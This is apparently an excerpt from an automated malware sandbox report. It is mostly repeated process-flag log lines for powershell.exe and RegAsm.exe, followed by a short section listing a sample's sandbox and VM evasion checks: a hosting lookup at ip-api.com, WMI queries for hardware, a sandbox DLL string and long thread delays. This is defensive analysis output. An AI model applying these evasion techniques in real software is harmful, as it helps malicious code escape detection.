                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                      Malware Analysis System Evasion

                      barindex
                      Yara detected AntiVM3
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR
                      Check if machine is in data center or colocation facility
                      Source: global trafficHTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
                      Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
                      Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
                      Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
                      Source: powershell.exe, 00000004.00000002.1545150331.000001A8E9449000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2697144825.0000000000402000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002C21000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SBIEDLL.DLL
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 1180000 memory reserve | memory write watchJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 2BF0000 memory reserve | memory write watchJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMemory allocated: 4BF0000 memory reserve | memory write watchJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeThread delayed: delay time: 922337203685477Jump to behavior
                      Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1564Jump to behavior
